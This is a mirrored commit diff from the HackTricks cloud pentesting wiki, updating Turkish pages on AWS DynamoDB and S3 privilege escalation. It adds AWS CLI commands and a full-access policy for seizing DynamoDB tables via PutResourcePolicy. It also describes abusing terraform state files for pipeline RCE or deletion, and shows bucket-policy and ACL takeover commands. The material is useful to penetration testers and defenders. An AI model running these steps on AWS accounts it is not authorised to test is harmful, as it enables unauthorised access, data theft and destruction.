mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin
This commit is contained in:
@@ -4,20 +4,69 @@
|
||||
|
||||
## dynamodb
|
||||
|
||||
Dynamodb hakkında daha fazla bilgi için kontrol edin:
|
||||
DynamoDB hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:PutResourcePolicy`, ve isteğe bağlı olarak `dynamodb:GetResourcePolicy`
|
||||
|
||||
Mart 2024'ten itibaren, AWS DynamoDB için *kaynak tabanlı politikalar* sunmaktadır ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
|
||||
|
||||
Bu nedenle, bir tablo için `dynamodb:PutResourcePolicy`'ye sahipseniz, kendinize veya başka bir kullanıcıya tabloya tam erişim verebilirsiniz.
|
||||
|
||||
`dynamodb:PutResourcePolicy`'yi rastgele bir kullanıcıya vermek genellikle yanlışlıkla olur; eğer yöneticiler `dynamodb:Put*` vermenin yalnızca kullanıcının veritabanına öğe eklemesine izin vereceğini düşünürse - veya bu izin setini Mart 2024'ten önce verdilerse...
|
||||
|
||||
İdeal olarak, diğer potansiyel olarak hayati izinleri geçersiz kılmamak için `dynamodb:GetResourcePolicy`'ye de sahip olmalısınız, böylece yalnızca ihtiyaç duyduğunuz ek izinleri ekleyebilirsiniz:
|
||||
```bash
|
||||
# get the current resource based policy (if it exists) and save it to a file
|
||||
aws dynamodb get-resource-policy \
|
||||
--resource-arn <table_arn> \
|
||||
--query 'Policy' \
|
||||
--output text > policy.json
|
||||
```
|
||||
Eğer mevcut politikayı alamıyorsanız, sadece bu politikayı kullanın; bu, tablonuz üzerinde tam erişim sağlar:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "FullAccessToDynamoDBTable",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
|
||||
},
|
||||
"Action": [
|
||||
"dynamodb:*"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Eğer bunu özelleştirmeniz gerekiyorsa, işte tüm olası DynamoDB eylemlerinin bir listesi: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Ve burada bir kaynak tabanlı politika aracılığıyla izin verilebilecek tüm eylemlerin bir listesi *VE bunlardan hangilerinin hesaplar arası kullanılabileceği (veri sızdırma düşünün!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
|
||||
|
||||
Şimdi, `policy.json` politika belgesi hazır olduğuna göre, kaynak politikasını ekleyin:
|
||||
```bash
|
||||
# put the new policy using the prepared policy file
|
||||
# dynamodb does weirdly not allow a direct file upload
|
||||
aws dynamodb put-resource-policy \
|
||||
--resource-arn <table_arn> \
|
||||
--policy "$(cat policy.json)"
|
||||
```
|
||||
Artık ihtiyaç duyduğunuz izinlere sahip olmalısınız.
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
Bildigim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de **yetki yükseltmenin doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (bu bilgiler AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi **DynamoDB Post Exploitation sayfasında** zaten dikkate alınmıştır:
|
||||
Bildiğim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de yetkileri artırmanın **başka doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (bu bilgiler AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi zaten **DynamoDB Post Exploitation sayfasında** dikkate alınmıştır:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Veri Akışlarını kötüye kullanarak veri okuma
|
||||
### TODO: Veri Akışlarını kötüye kullanarak veri oku
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -34,7 +34,7 @@
|
||||
]
|
||||
}
|
||||
```
|
||||
Ve ele geçirme, **şablonun yüklenmesi anından** **şablonun dağıtılması anına** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenir** ve **o bucket'ın** **içeriğini ele geçirir**.
|
||||
Ve ele geçirme, **şablonun yüklendiği andan** **şablonun dağıtıldığı ana** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenecek** ve **o bucket'ın** **içeriğini ele geçirecektir**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -50,9 +50,21 @@ Bunlar bazı örneklerdir:
|
||||
|
||||
- Eğer bir EC2 örneği **kullanıcı verilerini bir S3 bucket'ında** depoluyorsa, bir saldırgan bunu **EC2 örneği içinde rastgele kod çalıştırmak için değiştirebilir**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (isteğe bağlı) terraform durum dosyası üzerinden
|
||||
|
||||
[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) durum dosyalarının bulut sağlayıcılarının blob depolama alanlarına kaydedilmesi oldukça yaygındır, örneğin AWS S3. Bir durum dosyasının dosya uzantısı `.tfstate`dir ve bucket adları genellikle terraform durum dosyalarını içerdiğini gösterir. Genellikle, her AWS hesabının durum dosyalarını depolamak için böyle bir bucket'ı vardır. Ayrıca genellikle, gerçek dünya hesaplarında neredeyse her geliştiricinin `s3:*` ve bazen hatta iş kullanıcılarının `s3:Put*` erişimi vardır.
|
||||
|
||||
Yani, bu dosyalar üzerindeki izinlere sahipseniz, `terraform` ayrıcalıklarıyla, çoğu zaman `AdministratorAccess` ile, pipeline'da RCE elde etmenizi sağlayan bir saldırı vektörü vardır, bu da sizi bulut hesabının yöneticisi yapar. Ayrıca, `terraform`'un meşru kaynakları silmesini sağlayarak bir hizmet reddi saldırısı yapmak için bu vektörü kullanabilirsiniz.
|
||||
|
||||
Doğrudan kullanılabilir istismar kodu için *Terraform Güvenliği* sayfasının *Terraform Durum Dosyalarını Kötüye Kullanma* bölümündeki açıklamayı takip edin:
|
||||
|
||||
{{#ref}}
|
||||
terraform-security.md#abusing-terraform-state-files
|
||||
{{#endref}}
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
Aynı hesapta olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle kendisine bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisi kazanır.
|
||||
Aynı hesaptan olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisine sahip olabilir.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -110,7 +122,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
Bir saldırgan, bu izinleri **belirli kovalar üzerinde daha fazla erişim sağlamak** için kötüye kullanabilir.\
|
||||
Bir saldırgan, bu izinleri **belirli bucket'lar üzerinde daha fazla erişim sağlamak için** kötüye kullanabilir.\
|
||||
Saldırganın aynı hesapta olması gerekmediğini unutmayın. Ayrıca yazma erişimi
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
@@ -138,7 +150,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlamak için kötüye kullanabilir.
|
||||
Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlayabilir.
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
|
||||
Reference in New Issue
Block a user